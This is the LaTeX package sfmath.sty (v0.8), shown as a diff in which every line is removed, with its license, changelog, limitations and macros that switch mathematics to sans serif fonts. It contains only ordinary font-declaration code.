-% sfmath.sty, copyright 2001-2007 by Olaf Dietrich (olaf@dtrx.de)
-%
-% This work may be distributed and/or modified under the
-% conditions of the LaTeX Project Public License, either version 1.3
-% of this license or (at your option) any later version.
-% The latest version of this license is in
-% http://www.latex-project.org/lppl.txt
-% and version 1.3 or later is part of all distributions of LaTeX
-% version 2005/12/01 or later.
-%
-% This work has the LPPL maintenance status `maintained'.
-%
-% The Current Maintainer of this work is Olaf Dietrich.
-%
-% This work consists of the file sfmath.sty.
-
-
-\NeedsTeXFormat{LaTeX2e}
-\ProvidesPackage{sfmath}[2007/08/27 v0.8 sans serif maths]
-
-
-% This is a simple package for sans serif maths in documents.
-%
-% Usage: \usepackage{sfmath} or \usepackage[OPTIONS]{sfmath}
-%
-% After including the package sfmath.sty, all maths of the current
-% document is displayed with sans serif fonts; there is no way to
-% switch back to the original behavior.
-%
-% The default sans serif font for maths is the sans serif font
-% selected for sans serif text (i.e., \sfdefault) when sfmath.sty
-% is loaded. Therefore, you must include sfmath.sty after having
-% changed \sfdefault, e.g., by a package such as helvet.sty or
-% manually. Alternatively, use one of the font options described
-% below (cm, helvet, cmbright, tx, px, or lm) in order to override
-% the default sans serif font.
-%
-% Package OPTIONS (options marked with (+) are experimental):
-%
-% * slantedGreek: for slanted uppercase Greek letters
-%
-% * cm: use Computer Modern (cmss) for maths (explicitly)
-% * helvet: use Postscript Helvetica (phv) for maths (explicitly)
-% * cmbright: use CM-Bright fonts (cmbr) for maths (explicitely)
-% * tx: use Postscript txfonts (tx) for maths (explicitly)
-% * px: use Postscript pxfonts (tx) for maths (explicitly)
-% * lm: use Latin Modern (lmss) for maths (explicitly) (+)
-%
-% * T1experimental: use T1 font encoding for standard maths (+)
-% * AlphT1experimental: use T1 font encoding for \math*{...} commands (+)
-%
-% * mathrmOrig: do not change the behavior of the \mathrm command
-% * mathbfOrig: do not change the behavior of the \mathbf command
-% * mathitOrig: do not change the behavior of the \mathit command
-% * mathsfOrig: do not change the behavior of the \mathsf command
-%
-% (+): Known limitations of experimental options:
-% T1experimental produces a warning about the encoding of the
-% operators font.
-% AlphT1experimental DOES NOT WORK with uppercase Greek letters
-% within the \math*{...} command!
-% These options should only be used with the ec fonts.
-%
-% lm includes T1experimental and AlphT1experimental with the
-% limitations mentioned above.
-%
-% RECOMMENDATION:
-% use the fix-cm package instead of the experimental
-% T1 options: with fix-cm.sty, the chosen ec fonts
-% harmonize much better with the cm sans serif math fonts.
-% Add \RequirePackage{fix-cm} _before_ \documentclass{...}.
-%
-%
-% Some new macros are defined by sfmath.sty:
-%
-% * \mathsl{...}: A new math alphabet that is by default identical
-% with \mathit{...}; useful in combination with the option mathitOrig.
-%
-% * \upOmega, \upDelta: upright versions of \Omega and \Delta;
-% useful when the option slantedGreek is selected.
-%
-%
-% More documentation can currently be found at:
-% <URL:http://dtrx.de/od/tex/sfmath.html>
-
-
-% CHANGES:
-%
-% v0.8:
-%
-% * Update documentation and add license details for CTAN upload.
-%
-%
-% v0.7:
-%
-% * Add (experimental) support for latin modern (lmodern) fonts.
-%
-%
-% v0.6:
-%
-% * Add some artificial intelligence to use slanted bold letters
-% if available (e.g., for phv, txfonts, or pxfonts).
-% Add options to select txfonts, pxfonts, and cmbright (probably
-% not very useful) explicitely.
-% (Thanks to Alberto Lusiani who asked for slanted bold letters.)
-%
-%
-% v0.5:
-%
-% * Add experimental options for T1 font encoding of maths fonts.
-% Using these options can be useful with ec fonts which look
-% slightly different from the standard cm maths fonts (especially
-% at large font size). About limitations see above.
-%
-%
-% v0.4:
-%
-% * Add \upDelta, \upOmega command (to be a little more compatible
-% with other packages that provide the slantedGreek option)
-%
-%
-% v0.3:
-%
-% * Add sans serif shapes for "," and ".", "\ldotp"
-%
-% * Modified documentation
-%
-%
-% v0.2:
-%
-% * New option slantedGreek for slanted greek capitals
-%
-% * Options helvet and cm to select explicitly the sans serif font
-% for maths. Without any of these options, the current \sfdefault
-% is chosen.
-%
-% * Options mathxxOrig: don't change the alphabet command \mathxx;
-% available for \mathrm, \mathbf, \mathit, and \mathsf
-%
-% * Provide dotlessi and dotlessj (if available)
-%
-
-
-% BUGS/LIMITATIONS/PROBLEMS:
-%
-% * Functionality is limited by the intention to work without
-% additionally defined (virtual) fonts; instead, only standard
-% fonts are used.
-%
-% * The font metrics are not adjusted to maths usage (this may
-% result in typographically unsatisfying results).
-%
-% * In many constellations with Postscript fonts (helvet.sty,
-% pslatex.sty, ...) the upper-case greek letters are not chosen
-% correctly within \mathrm, \mathbf, \mathit, ... (because
-% they should be part of OT1-encoded fonts but are not included
-% in these standard postscript fonts).
-%
-% * Bold math symbols are not always available (e.g. with pslatex.sty)
-% or at least not slanted (e.g. with cmss fonts), so better don't
-% use bold maths with this package. (This has been partially improved
-% in version 0.6.)
-%
-% * There is a visual difference between the ec sans serif text fonts
-% and the cm sans serif maths fonts, especially at larger font sizes.
-% The fix-cm package might help to reduce the ugliness of the ec
-% sans serif fonts and the differences between the ec text fonts
-% and the cm math fonts.
-% Alternatively, the experimental options T1experimental and
-% AlphT1Experimental might help by using the ec fonts for maths as well.
-%
-% * The txfonts and pxfonts are reported to have several deficiencies
-% with respect to font metrics and macro implementation; using
-% these fonts is not recommended by the package author.
-%
-% * The set symbols \mathbb{N} or \mathbbm{N} (from bbm.sty) are not
-% changed. You might like to use \mathbbmss{N} (from bbm.sty).
-%
-% * Some symbols have serifish shapes (\sum, \prod, probably more) and
-% are not changed.
-%
-% * Lower-case greek letters are not available in sans serif shape
-% (they don't have real serifs, but cannot be expected to harmonize
-% with the sans serif latin letters).
-%
-%
-% TODO:
-%
-% * Improve documentation.
-%
-% * Provide LaTeX .ins/.dtx files instead of naked .sty file.
-%
-
-
-% HERE WE GO:
-
-% Declare options and defaults and process options
-
-\DeclareOption{slantedGreek}{%
- \renewcommand{\greek@shape}{sl}%
- \renewcommand{\greek@bold@shape}{\greek@bold@sl}%
-}
-
-\DeclareOption{cm}{\renewcommand{\math@sfdefault}{cmss}}
-\DeclareOption{lm}{\renewcommand{\math@sfdefault}{lmss}}
-\DeclareOption{helvet}{\renewcommand{\math@sfdefault}{phv}}
-\DeclareOption{cmbright}{\renewcommand{\math@sfdefault}{cmbr}}
-\DeclareOption{tx}{\renewcommand{\math@sfdefault}{txss}}
-\DeclareOption{px}{\renewcommand{\math@sfdefault}{pxss}}
-
-\DeclareOption{T1experimental}{\renewcommand{\math@encoding}{T1}}
-\DeclareOption{AlphT1experimental}{\renewcommand{\math@lph@encoding}{T1}}
-
-\DeclareOption{mathrmOrig}{\renewcommand{\mathrm@lph}{cmr}}
-\DeclareOption{mathbfOrig}{\renewcommand{\mathbf@lph}{cmr}}
-\DeclareOption{mathitOrig}{\renewcommand{\mathit@lph}{cmr}}
-\DeclareOption{mathsfOrig}{\renewcommand{\mathsf@lph}{cmss}}
-
-
-\newcommand{\math@sfdefault}{\sfdefault}
-\newcommand{\math@encoding}{OT1}
-\newcommand{\math@lph@encoding}{OT1}
-
-\newcommand{\mathrm@lph}{\math@sfdefault}
-\newcommand{\mathbf@lph}{\math@sfdefault}
-\newcommand{\mathit@lph}{\math@sfdefault}
-\newcommand{\mathsf@lph}{\math@sfdefault}
-
-
-% \math@sfGreek: Font for capital greeks: cmss or other?
-% \greek@shape: Capital greeks: normal or slanted? [slantedGreek]
-% \greek@bold@shape: Bold capital greeks: normal or slanted? [slantedGreek]
-% \greek@bold@sl: Bold capital greeks: "sl" if slanted possible
-%
-% \mathnormal@bold@shape: Bold letters: normal or slanted? (always bold)
-% \mathit@bold@series: Bold \mathit (\mathsl): medium or bold? (always slanted)
-
-\newcommand{\math@sfGreek}{cmss}
-\newcommand{\greek@shape}{n}
-\newcommand{\greek@bold@shape}{n}
-\newcommand{\greek@bold@sl}{n}
-\newcommand{\mathnormal@bold@shape}{n}
-\newcommand{\mathit@bold@series}{m}
-
-
-
-\ProcessOptions
-
-
-
-% check the current value of \math@sfdefault
-
-\edef\tmp@sfdefault{\math@sfdefault}
-
-\def\tmp@compare{cmss}
-\ifx\tmp@sfdefault\tmp@compare
- % \sfdefault is cmss
- % no slanted bold letters
- % no slanted bold capital Greeks
- \renewcommand{\math@sfGreek}{cmss}
- \renewcommand{\greek@bold@sl}{n}
- \renewcommand{\mathnormal@bold@shape}{n}
- \renewcommand{\mathit@bold@series}{m}
-\fi
-
-\def\tmp@compare{phv}
-\ifx\tmp@sfdefault\tmp@compare
- % \sfdefault is phv (helvet.sty)
- % slanted bold letters
- % no capital Greeks
- \renewcommand{\math@sfGreek}{cmss}
- \renewcommand{\greek@bold@sl}{n}
- \renewcommand{\mathnormal@bold@shape}{sl}
- \renewcommand{\mathit@bold@series}{bx}
-\fi
-
-\def\tmp@compare{txss}
-\ifx\tmp@sfdefault\tmp@compare
- % \sfdefault is txss (txfonts.sty)
- % slanted bold letters
- % slanted bold capital Greeks
- \renewcommand{\math@sfGreek}{txss}
- \renewcommand{\greek@bold@sl}{sl}
- \renewcommand{\mathnormal@bold@shape}{sl}
- \renewcommand{\mathit@bold@series}{bx}
-\fi
-
-\def\tmp@compare{pxss}
-\ifx\tmp@sfdefault\tmp@compare
- % \sfdefault is pxss (pxfonts.sty)
- % slanted bold letters
- % slanted bold capital Greeks
- \renewcommand{\math@sfGreek}{pxss}
- \renewcommand{\greek@bold@sl}{sl}
- \renewcommand{\mathnormal@bold@shape}{sl}
- \renewcommand{\mathit@bold@series}{bx}
-\fi
-
-\def\tmp@compare{cmbr}
-\ifx\tmp@sfdefault\tmp@compare
- % \sfdefault is cmbr (cmbright.sty)
- % no slanted bold letters
- % no slanted bold capital Greeks
- \renewcommand{\math@sfGreek}{cmbr}
- \renewcommand{\greek@bold@sl}{n}
- \renewcommand{\mathnormal@bold@shape}{n}
- \renewcommand{\mathit@bold@series}{m}
-\fi
-
-\def\tmp@compare{lmss}
-\ifx\tmp@sfdefault\tmp@compare
- % \sfdefault is lmss (lmodern.sty sans serif)
- % T1 encoding only
- % slanted bold letters
- % no slanted bold capital Greeks
- \renewcommand{\math@encoding}{T1}
- \renewcommand{\math@lph@encoding}{T1}
- \renewcommand{\math@sfGreek}{cmss}
- \renewcommand{\greek@bold@sl}{n}
- \renewcommand{\mathnormal@bold@shape}{sl}
- \renewcommand{\mathit@bold@series}{bx}
-\fi
-
-
-
-% Change font for digits and "operators" (\sin, \exp, ...)
-% to default sans serif font
-
-\SetSymbolFont{operators}{normal}{\math@encoding}{\math@sfdefault}{m}{n}
-\SetSymbolFont{operators}{bold}{\math@encoding}{\math@sfdefault}{bx}{n}
-
-
-% Most special math symbols remain unmodified (and many of those
-% don't have serifs); however all letters (A-Z, a-z) are
-% explicitely changed to the sans serif version (again
-% default sans serif font).
-%
-% Unfortunately, there is no standard slanted+bold sans serif font
-% available (as Postscript Type 1 font), so try an upright
-% version (may be better than nothing).
-
-\DeclareSymbolFont{SFMath}{\math@encoding}{\math@sfdefault}{m}{sl}
-\SetSymbolFont{SFMath}{normal}{\math@encoding}{\math@sfdefault}{m}{sl}
-\SetSymbolFont{SFMath}{bold}{\math@encoding}{\math@sfdefault}{bx}{\mathnormal@bold@shape}
-\DeclareMathSymbol{A}{\mathalpha}{SFMath}{`A}
-\DeclareMathSymbol{B}{\mathalpha}{SFMath}{`B}
-\DeclareMathSymbol{C}{\mathalpha}{SFMath}{`C}
-\DeclareMathSymbol{D}{\mathalpha}{SFMath}{`D}
-\DeclareMathSymbol{E}{\mathalpha}{SFMath}{`E}
-\DeclareMathSymbol{F}{\mathalpha}{SFMath}{`F}
-\DeclareMathSymbol{G}{\mathalpha}{SFMath}{`G}
-\DeclareMathSymbol{H}{\mathalpha}{SFMath}{`H}
-\DeclareMathSymbol{I}{\mathalpha}{SFMath}{`I}
-\DeclareMathSymbol{J}{\mathalpha}{SFMath}{`J}
-\DeclareMathSymbol{K}{\mathalpha}{SFMath}{`K}
-\DeclareMathSymbol{L}{\mathalpha}{SFMath}{`L}
-\DeclareMathSymbol{M}{\mathalpha}{SFMath}{`M}
-\DeclareMathSymbol{N}{\mathalpha}{SFMath}{`N}
-\DeclareMathSymbol{O}{\mathalpha}{SFMath}{`O}
-\DeclareMathSymbol{P}{\mathalpha}{SFMath}{`P}
-\DeclareMathSymbol{Q}{\mathalpha}{SFMath}{`Q}
-\DeclareMathSymbol{R}{\mathalpha}{SFMath}{`R}
-\DeclareMathSymbol{S}{\mathalpha}{SFMath}{`S}
-\DeclareMathSymbol{T}{\mathalpha}{SFMath}{`T}
-\DeclareMathSymbol{U}{\mathalpha}{SFMath}{`U}
-\DeclareMathSymbol{V}{\mathalpha}{SFMath}{`V}
-\DeclareMathSymbol{W}{\mathalpha}{SFMath}{`W}
-\DeclareMathSymbol{X}{\mathalpha}{SFMath}{`X}
-\DeclareMathSymbol{Y}{\mathalpha}{SFMath}{`Y}
-\DeclareMathSymbol{Z}{\mathalpha}{SFMath}{`Z}
-\DeclareMathSymbol{a}{\mathalpha}{SFMath}{`a}
-\DeclareMathSymbol{b}{\mathalpha}{SFMath}{`b}
-\DeclareMathSymbol{c}{\mathalpha}{SFMath}{`c}
-\DeclareMathSymbol{d}{\mathalpha}{SFMath}{`d}
-\DeclareMathSymbol{e}{\mathalpha}{SFMath}{`e}
-\DeclareMathSymbol{f}{\mathalpha}{SFMath}{`f}
-\DeclareMathSymbol{g}{\mathalpha}{SFMath}{`g}
-\DeclareMathSymbol{h}{\mathalpha}{SFMath}{`h}
-\DeclareMathSymbol{i}{\mathalpha}{SFMath}{`i}
-\DeclareMathSymbol{j}{\mathalpha}{SFMath}{`j}
-\DeclareMathSymbol{k}{\mathalpha}{SFMath}{`k}
-\DeclareMathSymbol{l}{\mathalpha}{SFMath}{`l}
-\DeclareMathSymbol{m}{\mathalpha}{SFMath}{`m}
-\DeclareMathSymbol{n}{\mathalpha}{SFMath}{`n}
-\DeclareMathSymbol{o}{\mathalpha}{SFMath}{`o}
-\DeclareMathSymbol{p}{\mathalpha}{SFMath}{`p}
-\DeclareMathSymbol{q}{\mathalpha}{SFMath}{`q}
-\DeclareMathSymbol{r}{\mathalpha}{SFMath}{`r}
-\DeclareMathSymbol{s}{\mathalpha}{SFMath}{`s}
-\DeclareMathSymbol{t}{\mathalpha}{SFMath}{`t}
-\DeclareMathSymbol{u}{\mathalpha}{SFMath}{`u}
-\DeclareMathSymbol{v}{\mathalpha}{SFMath}{`v}
-\DeclareMathSymbol{w}{\mathalpha}{SFMath}{`w}
-\DeclareMathSymbol{x}{\mathalpha}{SFMath}{`x}
-\DeclareMathSymbol{y}{\mathalpha}{SFMath}{`y}
-\DeclareMathSymbol{z}{\mathalpha}{SFMath}{`z}
-
-\DeclareMathSymbol{\imath}{\mathalpha}{SFMath}{"10}
-\DeclareMathSymbol{\jmath}{\mathalpha}{SFMath}{"11}
-
-
-% The symbols ",", ".", and "\ldotp" should be sans serif
-% but upright.
-
-\DeclareSymbolFont{SFMathUp}{\math@encoding}{\math@sfdefault}{m}{n}
-\SetSymbolFont{SFMathUp}{normal}{\math@encoding}{\math@sfdefault}{m}{n}
-\SetSymbolFont{SFMathUp}{bold}{\math@encoding}{\math@sfdefault}{bx}{n}
-\DeclareMathSymbol{,}{\mathpunct}{SFMathUp}{`,}
-\DeclareMathSymbol{.}{\mathord}{SFMathUp}{`.}
-\DeclareMathSymbol{\ldotp}{\mathord}{SFMathUp}{`.}
-
-
-% Take capital greek letters from cmss or [tp]xss; other sans serif fonts
-% like helvetica don't have capital greeks, so here cmss is
-% taken instead of \sfdefault. Unfortunately, this does not work
-% within the alphabet commands \mathrm, \mathsf, ...
-
-\DeclareSymbolFont{SFMathGreek}{OT1}{\math@sfGreek}{m}{\greek@shape}
-\SetSymbolFont{SFMathGreek}{normal}{OT1}{\math@sfGreek}{m}{\greek@shape}
-\SetSymbolFont{SFMathGreek}{bold}{OT1}{\math@sfGreek}{bx}{\greek@bold@shape}
-
-\DeclareMathSymbol{\Gamma}{\mathalpha}{SFMathGreek}{"00}
-\DeclareMathSymbol{\Delta}{\mathalpha}{SFMathGreek}{"01}
-\DeclareMathSymbol{\Theta}{\mathalpha}{SFMathGreek}{"02}
-\DeclareMathSymbol{\Lambda}{\mathalpha}{SFMathGreek}{"03}
-\DeclareMathSymbol{\Xi}{\mathalpha}{SFMathGreek}{"04}
-\DeclareMathSymbol{\Pi}{\mathalpha}{SFMathGreek}{"05}
-\DeclareMathSymbol{\Sigma}{\mathalpha}{SFMathGreek}{"06}
-\DeclareMathSymbol{\Upsilon}{\mathalpha}{SFMathGreek}{"07}
-\DeclareMathSymbol{\Phi}{\mathalpha}{SFMathGreek}{"08}
-\DeclareMathSymbol{\Psi}{\mathalpha}{SFMathGreek}{"09}
-\DeclareMathSymbol{\Omega}{\mathalpha}{SFMathGreek}{"0A}
-
-
-\DeclareSymbolFont{SFMathUpGreek}{OT1}{\math@sfGreek}{m}{n}
-\SetSymbolFont{SFMathUpGreek}{normal}{OT1}{\math@sfGreek}{m}{n}
-\SetSymbolFont{SFMathUpGreek}{bold}{OT1}{\math@sfGreek}{bx}{n}
-
-\DeclareMathSymbol{\upDelta}{\mathalpha}{SFMathUpGreek}{"01}
-\DeclareMathSymbol{\upOmega}{\mathalpha}{SFMathUpGreek}{"0A}
-
-
-% Define new behavior for math alphabet commands
-
-
-\SetMathAlphabet{\mathnormal}{normal}{\math@lph@encoding}{\math@sfdefault}{m}{sl}
-\SetMathAlphabet{\mathnormal}{bold}{\math@lph@encoding}{\math@sfdefault}{bx}{\mathnormal@bold@shape}
-
-\SetMathAlphabet{\mathrm}{normal}{\math@lph@encoding}{\mathrm@lph}{m}{n}
-\SetMathAlphabet{\mathrm}{bold}{\math@lph@encoding}{\mathrm@lph}{bx}{n}
-
-\SetMathAlphabet{\mathbf}{normal}{\math@lph@encoding}{\mathbf@lph}{bx}{n}
-\SetMathAlphabet{\mathbf}{bold}{\math@lph@encoding}{\mathbf@lph}{bx}{n}
-
-\SetMathAlphabet{\mathit}{normal}{\math@lph@encoding}{\mathit@lph}{m}{sl}
-\SetMathAlphabet{\mathit}{bold}{\math@lph@encoding}{\mathit@lph}{\mathit@bold@series}{sl}
-
-\SetMathAlphabet{\mathsf}{normal}{\math@lph@encoding}{\mathsf@lph}{m}{n}
-\SetMathAlphabet{\mathsf}{bold}{\math@lph@encoding}{\mathsf@lph}{bx}{n}
-
-
-
-% Define new math alphabet command \mathsl
-
-\DeclareMathAlphabet{\mathsl}{\math@lph@encoding}{\math@sfdefault}{m}{sl}
-\SetMathAlphabet{\mathsl}{bold}{\math@lph@encoding}{\math@sfdefault}{\mathit@bold@series}{sl}
-
-
-\endinput
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